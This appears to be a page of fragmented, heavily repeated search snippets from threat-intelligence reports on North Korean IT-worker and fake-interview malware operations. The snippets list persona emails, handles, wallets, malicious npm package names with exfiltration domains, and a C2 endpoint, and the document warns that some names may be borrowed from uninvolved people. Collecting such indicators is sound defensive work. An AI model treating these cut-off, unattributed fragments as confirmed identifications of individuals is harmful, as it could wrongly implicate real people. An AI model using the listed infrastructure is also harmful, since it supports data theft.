dataresearch814@gmail.com david.baker8391@gmail.com david.lin.9422@gmail.com david0001@csuitehome.info david0220anderson@gmail.com davidharis.honest@gmail.com davidkup276@gmail.com davidsuzuki51@gmail.com davidtm.pm95@gmail.com davidwilson@ne…","…mail.com darlene.harris.me@gmail.com dataresearch814@gmail.com david.baker8391@gmail.com david.lin.9422@gmail.com david0001@csuitehome.info david0220anderson@gmail.com davidharis.honest@gmail.com davidkup276@gmail.com davidsuzuki51@gmail.com davidtm.pm95@gmail.com davidwilson@nestorme.space debepe7352@nass…","Hayden McKenzie publishes this as one of the aliases recovered from a DPRK IT worker cell's own files, on a per-alias record that lists the contact details above. The record adds a mailbox from the persona's working files. The record gives a first name only, so it is labelled with its publisher here: persona pages on this site join entries by name, and an unrelated David from another researcher would otherwise merge with it. The record was not on the site when this one first read it on 22 September 2026 and appeared alongside the report The Women Behind North Korea's IT Worker Operations, published on 23 September, so that is the date cited. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","…magalhaesbruno236@gmail.com jacksonblau11ai@gmail.com jinping0821@outlook.com rodolfguerr@gmail.com david262721@outlook.com chulovskaolena@outlook.com oleksandrkazadaiev522@gmail.com hera19970204@outlook.com zeus19970204@outlook.com…","…garnerbrandy1230@gmail.com alexandercruciata11@gmail.com danxeth436@gmail.com jennyjenkins783@gmail.com david36271@outlook.com rkupriyanof@gmail.com vallierhilaire@gmail.com willsuccess47@gmail.com ahmedali06091@gmail.com c258789456@gmail.com…","…David Adachi / zhmolly - 2024, 2025, Zach's List zachxbt/status/1824047425822310580 - David Adachi - davidadachi56@gmail.com - gigazh - dainmoly - davidlucas0402 - jwtradera - zhmolly@proton.me - zhmolly@gigadao.io - github.com/gigazh •…","…Year in Review andrewtilley.us@gmail.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review davidaheld.manager@gmail.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review lovelysong0209@gmail.com email malware N/A…","…1@gmail.com darkhorse0723@gmail.com darknight.dev0918@gmail.com darktop0112@gmail.com darlene.harris.me@gmail.com dataresearch814@gmail.com david.baker8391@gmail.com david.lin.9422@gmail.com david0001@csuitehome.info david0220anderson@gmail.com davidharis.honest@gmail.com davidkup276@gmail.com davidsuzuk…","…2026-09-02 tailwind-contact-forms (0.5.11) 2026-09-02 davidchen1111 <davidchen1111@proton.me> 2026-09-02 eslint-rxjs (1.0.1) 2026-09-02 veydens <jameswilson66825@outlook.com> e493-95-216-46-122.ngrok-free.app…","…2026-09-23 tailwind-contact-forms (0.5.1) 2026-09-23 davidchen1111 <davidchen1111@proton.me> www.w3.org http://www.w3.org/2000/svg 6da4ea5c3c91756845433bbc171bfc19aba5231600eee475ee1269f862744911…","…These return highly relevant results. author-email:\"Jonathan.daniel.ag1230@gmail.com\" author-email:\"davidexpert1233@hotmail.com\" Compare that to author-name:\"yosket\" (a deleted GitHub persona associated with many commits to Contagious Interview repositories)…","…account Year in Review dyup58725@gmail.com email malware N/A June 2025 DPRK malware distributor GitLab.com account Year in Review davidfernandez420@outlook.com email malware N/A May 2025 DPRK malware distributor GitLab.com account Year in Review scottdavis8188@gmail.com email malware N/A May…","…cibin87216@exitbit.com ctwajstj8948@hotmail.com danicaagawin5@gmail.com darielfrias89@outlook.com davidfernandez420@outlook.com davidjambis@outlook.com decovenjamin@gmail.com denise.ward0418@outlook.com desmondwynn144@gmail.com…","…mail.com dataresearch814@gmail.com david.baker8391@gmail.com david.lin.9422@gmail.com david0001@csuitehome.info david0220anderson@gmail.com davidharis.honest@gmail.com davidkup276@gmail.com davidsuzuki51@gmail.com davidtm.pm95@gmail.com davidwilson@nestorme.space debepe7352@nasskar.com debrajoycel8323@gmai…","…ctwajstj8948@hotmail.com danicaagawin5@gmail.com darielfrias89@outlook.com davidfernandez420@outlook.com davidjambis@outlook.com decovenjamin@gmail.com denise.ward0418@outlook.com desmondwynn144@gmail.com devkotacorrado@googlemail.com dl249995@gmail.com…","…il.com david.baker8391@gmail.com david.lin.9422@gmail.com david0001@csuitehome.info david0220anderson@gmail.com davidharis.honest@gmail.com davidkup276@gmail.com davidsuzuki51@gmail.com davidtm.pm95@gmail.com davidwilson@nestorme.space debepe7352@nasskar.com debrajoycel8323@gmail.com delicmilosbusine…","…gmail.com darknight.dev0918@gmail.com darktop0112@gmail.com darlene.harris.me@gmail.com dataresearch814@gmail.com david.baker8391@gmail.com david.lin.9422@gmail.com david0001@csuitehome.info david0220anderson@gmail.com davidharis.honest@gmail.com davidkup276@gmail.com davidsuzuki51@gmail.com davidtm.pm9…","…Name possibly correlated with the same name co-worker provided: david.lin.9422@gmail.com independently documented in theravenfile.com website in their DPRK IT worker investigation Disclaimer This investigation report has…","…[Archive](https://archive.ph/7XiAc) - Sadao Murano jwtradera@outlook.com (Naoki Cross Whoopsies) - David Lucas github.com/davidlucas0402 davidlucas0402@outlook.com - linkedin.com/in/john-wilhelmsson-17b3a0219 - Hello everyone! I'm new to this group.…","…Years in Vladivostok IOCs The Sun Sets in Conakry (Guinea - DavidOrion999) Emails: --------------------------------- davidorion999@gmail.com loyalprince55555@outlook.com billoneillighttiger@gmail.com johnwoo829612@outlook.com johnwoo82921323@gmail.com johnjohnjohn829612@outlook.c…","…topdeveloper01234@gmail.com - bigben199551@gmail.com - realhardworkingdeveloper@gmail.com - thomasanderson19960313@gmail.com - davidsuzuki51@gmail.com - toptalent48@gmail.com - alexstepan0209@gmail.com - kkopbusiness1213@gmail.com - blockchain4webdev@gmail.com -…","…43.136.0/24 Emails: topdeveloper01234@gmail.com bigben199551@gmail.com realhardworkingdeveloper@gmail.com thomasanderson19960313@gmail.com davidsuzuki51@gmail.com toptalent48@gmail.com alexstepan0209@gmail.com kkopbusiness1213@gmail.com blockchain4webdev@gmail.com HighleyHilmaU@gmail.com yemelyan.yevd…","…@gmail.com david.lin.9422@gmail.com david0001@csuitehome.info david0220anderson@gmail.com davidharis.honest@gmail.com davidkup276@gmail.com davidsuzuki51@gmail.com davidtm.pm95@gmail.com davidwilson@nestorme.space debepe7352@nasskar.com debrajoycel8323@gmail.com delicmilosbusiness@gmail.com delta.beret…","…2@gmail.com david0001@csuitehome.info david0220anderson@gmail.com davidharis.honest@gmail.com davidkup276@gmail.com davidsuzuki51@gmail.com davidtm.pm95@gmail.com davidwilson@nestorme.space debepe7352@nasskar.com debrajoycel8323@gmail.com delicmilosbusiness@gmail.com delta.beret@gmail.com demi4987@ski…","…suitehome.info david0220anderson@gmail.com davidharis.honest@gmail.com davidkup276@gmail.com davidsuzuki51@gmail.com davidtm.pm95@gmail.com davidwilson@nestorme.space debepe7352@nasskar.com debrajoycel8323@gmail.com delicmilosbusiness@gmail.com delta.beret@gmail.com demi4987@skiff.com demigod.dg0129@gmail…","…color-cli-log 2026-04-10 live registry pedrorestiffo@outlook.com cookie-parseflow 2026-04-12 live registry daviecallean_945benedick993@outlook.com coremesh 2026-03-26 graph first seen hello@jsonspack.com coremeshnode 2026-03-26 graph first seen…","Read 2026-09-24 by searching GitHub commits for the persona's address. GitHub credited commits signed davim10547@gmail.com, the persona's second mailbox, to SuperDev0312. The account has since been deleted.","…c258789456@gmail.com derek00144@gmail.com devin1571@outlook.com star712418@gmail.com jinping0822@outlook.com davisjosephinewnk807@outlook.com jaksonas11@outlook.com hades19910712@outlook.com Command and Control (C2) Endpoints # https://soc-log.vercel.app/api/ipcheck…","…email insider N/A N/A Synthetic persona email 2 ivanopavic13@gmail.com email insider N/A N/A Synthetic persona email 2 davorsabolic2@gmail.com email insider N/A N/A Synthetic persona email 2 juricleon407@gmail.com email insider N/A N/A Synthetic persona email 2…","…cygnusonyxxzbek89014@gmail.com daniellequaranta3@yahoo.com dataflight38629@gmail.com daveysellshomes47484@gmail.com dawsonspaces08839@gmail.com dazzlebitcorp62317@gmail.com dealmakersclub92647@outlook.com devonventureinvest81368@gmail.com dhruvishah05828@outlook.com…","…Year in Review jaimetru003@gmail.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review daysabethtederstz7533@hotmail.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review thiagocosta199295@gmail.com email malware N/A…","…daniellequaranta3@yahoo.com dataflight38629@gmail.com daveysellshomes47484@gmail.com dawsonspaces08839@gmail.com dazzlebitcorp62317@gmail.com dealmakersclub92647@outlook.com devonventureinvest81368@gmail.com dhruvishah05828@outlook.com digitalhomesales97117@gmail.com…","…GuardRails, Luxcore, ThorChain, Vitae Token - Devstar - 0xdbkey - 0xskydb - ssdbkey - 0xy0k - sarawut - sanit.sa@outlook.com - dbkey.one1@gmail.com - 0x8218D63A1b22077C264Ef481E15c6483eA204649 - 0x4C83150FD1fbfa031F3cD8C416F57409DE98372F - https://archive.ph/5pNLd -…","…com satoshi.fukuzumi309@gmail.com martinjosipovic17@gmail.com venturewell@gmail.com satoshi.fukuzumi47@gmail.com blocklimax@gmail.com dcnc336@gmail.com myronenkoyaroslav4@gmail.com avoroy@biztechadvisors.com katelevsk@gmail.com savonik.alina00@gmail.com purplestrawberrymilk@gmail.com…","…HighleyHilmaU@gmail.com - yemelyan.yevdokimov.domain1121@gmail.com - qiqq-ps@eclipso.eu - illia.butenko89@gmail.com - ddksniper@gmail.com - intellichain555@gmail.com - salbu15154@gmail.com - goldsea808@gmail.com - goldsea808@yahoo.com - mrsteevtvw418@gmail.com -…","…qiqq-ps@eclipso.eu[email protected] illia.butenko89@gmail.com[email protected] ddksniper@gmail.com[email protected] intellichain555@gmail.com[email protected] salbu15154@gmail.com[email protected] goldsea808@gmail.com[email protected]…","…Rodrigues de Souza Volodymyr Yakubovskyi Emails: goldsea808@gmail.com[email protected] goldsea808@yahoo.com[email protected] ddksniper@gmail.com[email protected]…","…Jin Gabriel Rodrigues de Souza Volodymyr Yakubovskyi Emails: goldsea808@gmail.com goldsea808@yahoo.com ddksniper@gmail.com Sites: linkedin.com/in/hailong-jin-906375118 facebook.com/profile.php?id=100083340646764 youtube.com/@jackddk7187 global808.wixsite.com ou…","…m blockchain4webdev@gmail.com HighleyHilmaU@gmail.com yemelyan.yevdokimov.domain1121@gmail.com qiqq-ps@eclipso.eu illia.butenko89@gmail.com ddksniper@gmail.com intellichain555@gmail.com salbu15154@gmail.com goldsea808@gmail.com goldsea808@yahoo.com alexstepan0209@gmail.com jamesybarra114@gmail.com…","…medium.com/@leech.developer - linkedin.com/in/lee-chien-hui-50b157157/ - leech.developer@gmail.com - ddpuppy42@yahoo.com - 0xfcd4e8c84afd221d3b8c9c8c374a7784b314d230 (T) - 0x390ed16a3e85758597db7452998d3ea66b65fd84 -…","…dataflight38629@gmail.com daveysellshomes47484@gmail.com dawsonspaces08839@gmail.com dazzlebitcorp62317@gmail.com dealmakersclub92647@outlook.com devonventureinvest81368@gmail.com dhruvishah05828@outlook.com digitalhomesales97117@gmail.com dmitrypetrov71155@outlook.com…","…erson@gmail.com davidharis.honest@gmail.com davidkup276@gmail.com davidsuzuki51@gmail.com davidtm.pm95@gmail.com davidwilson@nestorme.space debepe7352@nasskar.com debrajoycel8323@gmail.com delicmilosbusiness@gmail.com delta.beret@gmail.com demi4987@skiff.com demigod.dg0129@gmail.com denhryzd@gmail.com…","…ris.honest@gmail.com davidkup276@gmail.com davidsuzuki51@gmail.com davidtm.pm95@gmail.com davidwilson@nestorme.space debepe7352@nasskar.com debrajoycel8323@gmail.com delicmilosbusiness@gmail.com delta.beret@gmail.com demi4987@skiff.com demigod.dg0129@gmail.com denhryzd@gmail.com dennis.jordi@minofangle.o…","…danicaagawin5@gmail.com darielfrias89@outlook.com davidfernandez420@outlook.com davidjambis@outlook.com decovenjamin@gmail.com denise.ward0418@outlook.com desmondwynn144@gmail.com devkotacorrado@googlemail.com dl249995@gmail.com dmytro604@outlook.com…","…malware developer accounts Year in Review cryptodev26@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review deinsulabasil@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review elsaadanifaiek@hotmail.com email malware N/A N/A DPRK malware…","….allen.tech@gmail.com cliffahleongtech@gmail.com cloudstrifeinfinite@gmail.com colleen.cl.hillyard@gmail.com daren.shamoun28@gmail.com dejanteofilovic2@gmail.com dejanteofilovicup@gmail.com dev@flosports.tv developer789222@gmail.com devking877@gmail.com devondeveloper99@gmail.com fantasy971114@…","…ahleongtech@gmail.com cloudstrifeinfinite@gmail.com colleen.cl.hillyard@gmail.com daren.shamoun28@gmail.com dejanteofilovic2@gmail.com dejanteofilovicup@gmail.com dev@flosports.tv developer789222@gmail.com devking877@gmail.com devondeveloper99@gmail.com fantasy971114@gmail.com ferix.moore@gmail.…","…kup276@gmail.com davidsuzuki51@gmail.com davidtm.pm95@gmail.com davidwilson@nestorme.space debepe7352@nasskar.com debrajoycel8323@gmail.com delicmilosbusiness@gmail.com delta.beret@gmail.com demi4987@skiff.com demigod.dg0129@gmail.com denhryzd@gmail.com dennis.jordi@minofangle.org dennis1125stephens@gmail.c…","…kawabatakyo0922@outlook.com - jamesybarra114@gmail.com - jo.hnceballos0716@gmail.com - hughnolan88@gmail.com - deliminallimited.ws@outlook.com - galaxy85126@gmail.com - leopawel65@gmail.com - github.com/peterz-codes - github.com/camonanesi - github.com/wildwolf085 -…","…45313@qq.com peterzhou0802@gmail.com kawabatakyo0922@outlook.com jamesybarra114@gmail.com jo.hnceballos0716@gmail.com hughnolan88@gmail.com deliminallimited.ws@outlook.com galaxy85126@gmail.com leopawel65@gmail.com Github: https://github.com/peterz-codes https://github.com/camonanesi https://github.com/wildwo…","…1@gmail.com davidtm.pm95@gmail.com davidwilson@nestorme.space debepe7352@nasskar.com debrajoycel8323@gmail.com delicmilosbusiness@gmail.com delta.beret@gmail.com demi4987@skiff.com demigod.dg0129@gmail.com denhryzd@gmail.com dennis.jordi@minofangle.org dennis1125stephens@gmail.com dennisrosario.bagwi…","…95@gmail.com davidwilson@nestorme.space debepe7352@nasskar.com debrajoycel8323@gmail.com delicmilosbusiness@gmail.com delta.beret@gmail.com demi4987@skiff.com demigod.dg0129@gmail.com denhryzd@gmail.com dennis.jordi@minofangle.org dennis1125stephens@gmail.com dennisrosario.bagwis@gmail.com dev.ben…","…ilson@nestorme.space debepe7352@nasskar.com debrajoycel8323@gmail.com delicmilosbusiness@gmail.com delta.beret@gmail.com demi4987@skiff.com demigod.dg0129@gmail.com denhryzd@gmail.com dennis.jordi@minofangle.org dennis1125stephens@gmail.com dennisrosario.bagwis@gmail.com dev.ben.dav1111@gmail.com dev.ja…","…pe7352@nasskar.com debrajoycel8323@gmail.com delicmilosbusiness@gmail.com delta.beret@gmail.com demi4987@skiff.com demigod.dg0129@gmail.com denhryzd@gmail.com dennis.jordi@minofangle.org dennis1125stephens@gmail.com dennisrosario.bagwis@gmail.com dev.ben.dav1111@gmail.com dev.jacob.services@gmail.…","…email insider N/A N/A Synthetic persona email 2 damianwalczak.work@outlook.com email insider N/A N/A Synthetic persona email 2 denis.dobrovodsky@outlook.com email insider N/A N/A Synthetic persona email 2 filip.lovren@outlook.com email insider N/A N/A Synthetic persona email 2…","…Rodrigonahuelsanchez1998@outlook.com.ar nurtissera@outlook.com aitbaunty@outlook.com e56372626@gmail.com denis0316@outlook.com dreamstone111@outlook.com gabrielamartinsghera@yahoo.com 331 MSMT Participating State information.","…darielfrias89@outlook.com davidfernandez420@outlook.com davidjambis@outlook.com decovenjamin@gmail.com denise.ward0418@outlook.com desmondwynn144@gmail.com devkotacorrado@googlemail.com dl249995@gmail.com dmytro604@outlook.com dreamjobsato@gmail.com…","…email insider N/A N/A Threat actor persona email 4 greg.work.pro@gmail.com email insider N/A N/A Threat actor persona email 4 denish.faldu226@gmail.com email insider N/A N/A Threat actor persona email 4 janeica.dev@gmail.com email insider N/A N/A Threat actor persona email 4…","…blockchaindeveloper777@gmail.com #### Lucas Steve Moore #### Misc - never08mind25@gmail.com - github.com/neverm25 - denisleedragon@outlook.com - densyaou@gmail.com - eliteknightgold@outlook.com - github.com/Hiccup19940325 - jamescharlie94@outlook.com -…","…com sunmoonlee.19900113@outlook.com johnpatch0502@outlook.com eliteknightgold@outlook.com superdev0292@gmail.com jamescharlie94@outlook.com denisleedragon@outlook.com ivandimov921016@outlook.com ZachXBT Supplied: 0xm00neth@gmail.com naokimurano@outlook.com joshupgig@gmail.com smart.solidity@gmail.com…","…Merrttank.bz@gmail.com , randyryang@gmail.com , michaelb860102@gmail.com , assassinki211@gmail.com , dev.jerryyang@gmail.com , denis.turgenev2021@gmail.com , yesiree.cano825@gmail.com , thomasdenzelbrown@gmail.com , anthonyortega4592@gmail.com , and tyler.j.palmi38@gmail.com .…","…debrajoycel8323@gmail.com delicmilosbusiness@gmail.com delta.beret@gmail.com demi4987@skiff.com demigod.dg0129@gmail.com denhryzd@gmail.com dennis.jordi@minofangle.org dennis1125stephens@gmail.com dennisrosario.bagwis@gmail.com dev.ben.dav1111@gmail.com dev.jacob.services@gmail.com dev.kari.1217@gmail.com…","…licmilosbusiness@gmail.com delta.beret@gmail.com demi4987@skiff.com demigod.dg0129@gmail.com denhryzd@gmail.com dennis.jordi@minofangle.org dennis1125stephens@gmail.com dennisrosario.bagwis@gmail.com dev.ben.dav1111@gmail.com dev.jacob.services@gmail.com dev.kari.1217@gmail.com dev.kch3959227@gmail.com dev.…","…ts-lint-builder-1.0.9.tgz exfil: cloudflareinsights.vercel.app 2026-03-06 08:00:33 pino-pretty-log (v1.0.0) comet1234 (dennis.adadj@gmail.com) pino-pretty-log-1.0.0.tgz exfil: www.blxrbn.com 2026-03-03 10:26:03 bignum-ts (v8.0.8) digoschristiann…","…lta.beret@gmail.com demi4987@skiff.com demigod.dg0129@gmail.com denhryzd@gmail.com dennis.jordi@minofangle.org dennis1125stephens@gmail.com dennisrosario.bagwis@gmail.com dev.ben.dav1111@gmail.com dev.jacob.services@gmail.com dev.kari.1217@gmail.com dev.kch3959227@gmail.com dev.robert.80@gmail.com dev.secrets…","…derek00144 devin1571 stormdev0418 jinping0822 davisjosephinewnk jaksonas11 liamnevin Email Addresses # denniswinter727@outlook.com magalhaesbruno236@gmail.com jacksonblau11ai@gmail.com jinping0821@outlook.com rodolfguerr@gmail.com david262721@outlook.com…","…Lucas Steve Moore #### Misc - never08mind25@gmail.com - github.com/neverm25 - denisleedragon@outlook.com - densyaou@gmail.com - eliteknightgold@outlook.com - github.com/Hiccup19940325 - jamescharlie94@outlook.com - lainhong1205@gmail.com -…","…om sunmoonstar0319@outlook.com blockchaindeveloper777@gmail.com seo.shigoto.001@gmail.com ivan.dimov.work@gmail.com kazune.takeda@yahoo.com densyaou@gmail.com zombie.eye.dev@gmail.com stevechendragon@gmail.com stevechendragon@outlook.com yamamotoziro.0113@gmail.com keinakano415@gmail.com lainhong1…","…@quickproassess.com awesomium430@gmail.com betosoto2819@gmail.com brooksliam534@gmail.com chris@wegrowup.us daisukeokitsugu@gmail.com denys@gmail.com designedcuratedamy58@gmail.com dzsignzdcuatzdamy@gmail.com eliteengineer0523@gmail.com excellentreporter321@gmail.com fairdev610@gmail…","…at: Gliwicka 95, Katowice, Silesian, 40-855, PL ### akratos_god - akratos_god - kratos-te - x.com/akratos_god - github.com/kratos-te - department.c0809@gmail.com - michaelgordon.kratos@gmail.com - nightfurry090@gmail.com - degenpigg - miclegoden - LOVES to leak the private code which earned him a…","…ja.vierj.ea.n.070 (ja.vierj.ea.n.070@googlemail.com) es-lint-entry-1.0.0.tgz 2026-03-16 10:07:53 npm-doc-deploy (v1.0.2) nomedicine999 (department.c0809@gmail.com) npm-doc-deploy-1.0.2.tgz exfil: polymarket-cli-testing.vercel.app 2026-03-16 08:49:30 bignum-ts-v2 (v5.0.3) nomedicine999…","…Discord: newstable - live:.cid.f4e6d1509205ccdd #### SirBang / Derek Miller - Derek Miller - SirBang - derek.miller0003@gmail.com - derek.miller03@outlook.com - github.com/SirBang - x.com/DerekMillerDev - t.me/DerekGameDev (ID: 6451750406) • ([Messages](./user-6451750406-@DerekGameDev.txt)) -…","…Tran Sasuke Uchiha SirBang (Derek Miller): --------------------------------------------- Emails: derek.miller0003@gmail.com derek.miller03@outlook.com Github: https://github.com/SirBang Telegram: DerekGameDev Skype: live:.cid.73d9933f3c8fe3e3 Hiring…","…rkupriyanof@gmail.com vallierhilaire@gmail.com willsuccess47@gmail.com ahmedali06091@gmail.com c258789456@gmail.com derek00144@gmail.com devin1571@outlook.com star712418@gmail.com jinping0822@outlook.com davisjosephinewnk807@outlook.com jaksonas11@outlook.com…","…arber.berisha009@gmail.com[email protected] millionsapphire@outlook.com[email protected] derekdev2023@outlook.com[email protected] garciav.dev@gmail.com[email protected] dragonfighter0115@outlook.com[email protected]…","…m sun.james1025@gmail.com coolguy.arber09@gmail.com arber.berisha995@gmail.com arber.berisha009@gmail.com millionsapphire@outlook.com derekdev2023@outlook.com garciav.dev@gmail.com dragonfighter0115@outlook.com fullstackdev1006@gmail.com blockchaindev0227@gmail.com sotaro.yoshimoto@gmail.com…","…Discord: newstable - live:.cid.f4e6d1509205ccdd #### SirBang / Derek Miller - Derek Miller - SirBang - derek.miller0003@gmail.com - derek.miller03@outlook.com - github.com/SirBang - x.com/DerekMillerDev - t.me/DerekGameDev (ID: 6451750406) •…","…uro.snow@gmail.com stanleyc.sky@gmail.com longx695@gmail.com dragonfighter0120@gmail.com garciav.dev@gmail.com m.in.space45@gmail.com derek.otieno.2020@gmail.com usmanjaggi1@gmail.com mr.martin.adrian@gmail.com kalezhang000@gmail.com what.a.fabulous1@gmail.com tinydever@gmail.com dashhello4@gma…","…Signer on Safe 0xfba - 0xfdd0f832b44ee76109603bf41a271f87d21adc54 Signer on Safe 0xfba #### Kaiden Araki / Derrick Lewis - derrick.d.lewis.312@gmail.com - snoopy5473cool@gmail.com - 0x73dab48c8a022a576131525ce4ee46e1a22922eb - 0xb338F56cA13EB44D94bD01cf9eE0FDB9968ABA36 -…","…These notifications, sent from a configured email address such as designedcuratedamy58@gmail.com , provide the Contagious Interview threat actors with insights into victim engagement and interaction patterns and are delivered to their…","…on other known infrastructure – “api.drive-release.cloud”. The camdriversupport.com app.js file contained these email addresses: designedcuratedamy58@gmail.com (SENDER) daisukeoikitsugu@gmail.com (RECIPIENT) eliteengineer8523@gmail.com (AM) rockstar96954@gmail.com (RC) hundredup2023@gmail.com…","…davidfernandez420@outlook.com davidjambis@outlook.com decovenjamin@gmail.com denise.ward0418@outlook.com desmondwynn144@gmail.com devkotacorrado@googlemail.com dl249995@gmail.com dmytro604@outlook.com dreamjobsato@gmail.com dv6305655@gmail.com…","…repository davidexpert1233@hotmail.com Commits to malicious repository desarrollovba@gmail.com Commits to malicious repository dev_group@outlook.com Commits to malicious repository ellisfleming574@gmail.com Commits to malicious repository eros.fabrici@gmail.com Commits to malicious…","…trifeinfinite@gmail.com colleen.cl.hillyard@gmail.com daren.shamoun28@gmail.com dejanteofilovic2@gmail.com dejanteofilovicup@gmail.com dev@flosports.tv developer789222@gmail.com devking877@gmail.com devondeveloper99@gmail.com fantasy971114@gmail.com ferix.moore@gmail.com freshtinygrow…","…17@gmail.com dev.kch3959227@gmail.com dev.robert.80@gmail.com dev.secretstar@gmail.com dev.superstar1031@gmail.com dev.topdev0411@gmail.com devbeast3800@gmail.com devcomposer0213@gmail.com devcore116@gmail.com developer.defi0782@gmail.com developermajazvec@gmail.com devexpert1879@gmail.com devgroup006…","…iff.com demigod.dg0129@gmail.com denhryzd@gmail.com dennis.jordi@minofangle.org dennis1125stephens@gmail.com dennisrosario.bagwis@gmail.com dev.ben.dav1111@gmail.com dev.jacob.services@gmail.com dev.kari.1217@gmail.com dev.kch3959227@gmail.com dev.robert.80@gmail.com dev.secretstar@gmail.com dev.supersta…","…displays anomalous commit-history patterns consistent with the broader suspicious activity cluster under review, lists the contact email dev.coin.developer@gmail.com, and previously operated under the alias mobileappdev0110 Figure 7: GitHub profile fullstackdev0110 The next image demonstrates the…","…9227@gmail.com dev.robert.80@gmail.com dev.secretstar@gmail.com dev.superstar1031@gmail.com dev.topdev0411@gmail.com devbeast3800@gmail.com devcomposer0213@gmail.com devcore116@gmail.com developer.defi0782@gmail.com developermajazvec@gmail.com devexpert1879@gmail.com devgroup006+1@gmail.com devgroup006@g…","…80@gmail.com dev.secretstar@gmail.com dev.superstar1031@gmail.com dev.topdev0411@gmail.com devbeast3800@gmail.com devcomposer0213@gmail.com devcore116@gmail.com developer.defi0782@gmail.com developermajazvec@gmail.com devexpert1879@gmail.com devgroup006+1@gmail.com devgroup006@gmail.com devguru13580…","…email insider N/A N/A Threat actor persona email 4 aleksey0753@gmail.com email insider N/A N/A Threat actor persona email 4 develop498@gmail.com email insider N/A N/A Threat actor persona email 4 4899432@qq.com email insider N/A N/A Threat actor persona email 4…","…l.com colleen.cl.hillyard@gmail.com daren.shamoun28@gmail.com dejanteofilovic2@gmail.com dejanteofilovicup@gmail.com dev@flosports.tv developer789222@gmail.com devking877@gmail.com devondeveloper99@gmail.com fantasy971114@gmail.com ferix.moore@gmail.com freshtinygrow@gmail.com geniusdev1108@g…","…etstar@gmail.com dev.superstar1031@gmail.com dev.topdev0411@gmail.com devbeast3800@gmail.com devcomposer0213@gmail.com devcore116@gmail.com developer.defi0782@gmail.com developermajazvec@gmail.com devexpert1879@gmail.com devgroup006+1@gmail.com devgroup006@gmail.com devguru13580@gmail.com devilhacker0119@gm…","…r1031@gmail.com dev.topdev0411@gmail.com devbeast3800@gmail.com devcomposer0213@gmail.com devcore116@gmail.com developer.defi0782@gmail.com developermajazvec@gmail.com devexpert1879@gmail.com devgroup006+1@gmail.com devgroup006@gmail.com devguru13580@gmail.com devilhacker0119@gmail.com devking877@gmail.com…","…11@gmail.com devbeast3800@gmail.com devcomposer0213@gmail.com devcore116@gmail.com developer.defi0782@gmail.com developermajazvec@gmail.com devexpert1879@gmail.com devgroup006+1@gmail.com devgroup006@gmail.com devguru13580@gmail.com devilhacker0119@gmail.com devking877@gmail.com devknight216@gmail.com…","…213@gmail.com devcore116@gmail.com developer.defi0782@gmail.com developermajazvec@gmail.com devexpert1879@gmail.com devgroup006+1@gmail.com devgroup006@gmail.com devguru13580@gmail.com devilhacker0119@gmail.com devking877@gmail.com devknight216@gmail.com devlord0625@gmail.com devmania0522@gmail.com d…","…16@gmail.com developer.defi0782@gmail.com developermajazvec@gmail.com devexpert1879@gmail.com devgroup006+1@gmail.com devgroup006@gmail.com devguru13580@gmail.com devilhacker0119@gmail.com devking877@gmail.com devknight216@gmail.com devlord0625@gmail.com devmania0522@gmail.com devmania1223@gmail.com d…","…defi0782@gmail.com developermajazvec@gmail.com devexpert1879@gmail.com devgroup006+1@gmail.com devgroup006@gmail.com devguru13580@gmail.com devilhacker0119@gmail.com devking877@gmail.com devknight216@gmail.com devlord0625@gmail.com devmania0522@gmail.com devmania1223@gmail.com devmaster929@gmail.com devo…","…jasonharry1988 davidmoberly vitalii0021 rory210 jasonharry198852 millos Email Addresses # h96452582@gmail.com devin.s@gedu.demo.ta-39.com csilvagalaxy87@gmail.com souzaporto800@gmail.com dmytroputko@gmail.com drgru854@gmail.com ahmadbahai07@gmail.com…","…vallierhilaire@gmail.com willsuccess47@gmail.com ahmedali06091@gmail.com c258789456@gmail.com derek00144@gmail.com devin1571@outlook.com star712418@gmail.com jinping0822@outlook.com davisjosephinewnk807@outlook.com jaksonas11@outlook.com…","…il.com denhryzd@gmail.com dennis.jordi@minofangle.org dennis1125stephens@gmail.com dennisrosario.bagwis@gmail.com dev.ben.dav1111@gmail.com dev.jacob.services@gmail.com dev.kari.1217@gmail.com dev.kch3959227@gmail.com dev.robert.80@gmail.com dev.secretstar@gmail.com dev.superstar1031@gmail.com dev.topdev041…","…, Merrttank.bz@gmail.com , randyryang@gmail.com , michaelb860102@gmail.com , assassinki211@gmail.com , dev.jerryyang@gmail.com , denis.turgenev2021@gmail.com , yesiree.cano825@gmail.com , thomasdenzelbrown@gmail.com , anthonyortega4592@gmail.com , and…","…nis.jordi@minofangle.org dennis1125stephens@gmail.com dennisrosario.bagwis@gmail.com dev.ben.dav1111@gmail.com dev.jacob.services@gmail.com dev.kari.1217@gmail.com dev.kch3959227@gmail.com dev.robert.80@gmail.com dev.secretstar@gmail.com dev.superstar1031@gmail.com dev.topdev0411@gmail.com devbeast3800…","…dennis1125stephens@gmail.com dennisrosario.bagwis@gmail.com dev.ben.dav1111@gmail.com dev.jacob.services@gmail.com dev.kari.1217@gmail.com dev.kch3959227@gmail.com dev.robert.80@gmail.com dev.secretstar@gmail.com dev.superstar1031@gmail.com dev.topdev0411@gmail.com devbeast3800@gmail.com devcomposer021…","…gmail.com daren.shamoun28@gmail.com dejanteofilovic2@gmail.com dejanteofilovicup@gmail.com dev@flosports.tv developer789222@gmail.com devking877@gmail.com devondeveloper99@gmail.com fantasy971114@gmail.com ferix.moore@gmail.com freshtinygrow@gmail.com geniusdev1108@gmail.com goldendev726…","…ermajazvec@gmail.com devexpert1879@gmail.com devgroup006+1@gmail.com devgroup006@gmail.com devguru13580@gmail.com devilhacker0119@gmail.com devking877@gmail.com devknight216@gmail.com devlord0625@gmail.com devmania0522@gmail.com devmania1223@gmail.com devmaster929@gmail.com devope08@gmail.com devpho…","…devexpert1879@gmail.com devgroup006+1@gmail.com devgroup006@gmail.com devguru13580@gmail.com devilhacker0119@gmail.com devking877@gmail.com devknight216@gmail.com devlord0625@gmail.com devmania0522@gmail.com devmania1223@gmail.com devmaster929@gmail.com devope08@gmail.com devphoenix092@gmail.com devsc…","…davidjambis@outlook.com decovenjamin@gmail.com denise.ward0418@outlook.com desmondwynn144@gmail.com devkotacorrado@googlemail.com dl249995@gmail.com dmytro604@outlook.com dreamjobsato@gmail.com dv6305655@gmail.com 